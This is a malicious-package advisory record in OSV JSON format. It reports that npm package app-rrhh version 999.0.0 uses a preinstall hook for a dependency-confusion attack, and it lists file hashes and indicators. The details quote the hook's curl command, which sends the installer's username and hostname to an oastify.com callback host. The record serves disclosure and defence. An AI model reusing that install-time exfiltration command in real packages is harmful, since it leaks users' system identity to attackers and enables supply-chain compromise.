{"id":"MAL-2026-16144","summary":"Malicious code in app-rrhh (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88)\npackage.json declares a preinstall script that runs `curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$(whoami)/$(hostname)` on `npm install`. The installer's OS username and hostname are embedded in the URL path and sent over plaintext HTTP to a Burp Collaborator (oastify.com) callback subdomain, confirming code execution on the installing host and leaking installer identity data to an attacker-controlled destination. The package name `app-rrhh` at version `999.0.0` with a description referencing dependency confusion is consistent with a dependency-confusion attack shape designed to win resolution against an internal package of the same name.\n","modified":"2026-09-14T16:31:19.568723762Z","published":"2026-09-14T15:42:30Z","database_specific":{"malicious-packages-origins":[{"versions":["999.0.0"],"id":"IN-MAL-2026-020019","import_time":"2026-09-14T16:19:12.086525937Z","modified_time":"2026-09-14T15:42:30Z","sha256":"cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88","source":"amazon-inspector"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/app-rrhh/v/999.0.0"}],"affected":[{"package":{"name":"app-rrhh","ecosystem":"npm","purl":"pkg:npm/app-rrhh"},"versions":["999.0.0"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"tlsh":"87d0a7a9cc50e8f3bdca57d11d35816a96605ea7409d6d0a8ec71508502937356a621e","path":"package.json","sha256":"7a1cfcea34f86b9f843ae33fe70953b59649c3d4c6b51150110c8f4872c59c95"}],"package_integrity":[{"filename":"app-rrhh-999.0.0.tgz","hashes":{"sha1":"53a6b7761904f7fd403215732f50c23c4287b2ca","sha512_sri":"sha512-EORkWi4xelx2pA7bLpEi73tzm2Kqi36807XZxwtaIKaP9+jQMWEtjrxRdptrpIQ++3Fmhn1j42RBsCnQJrY/Yg=="}}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/app-rrhh/MAL-2026-16144.json"}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}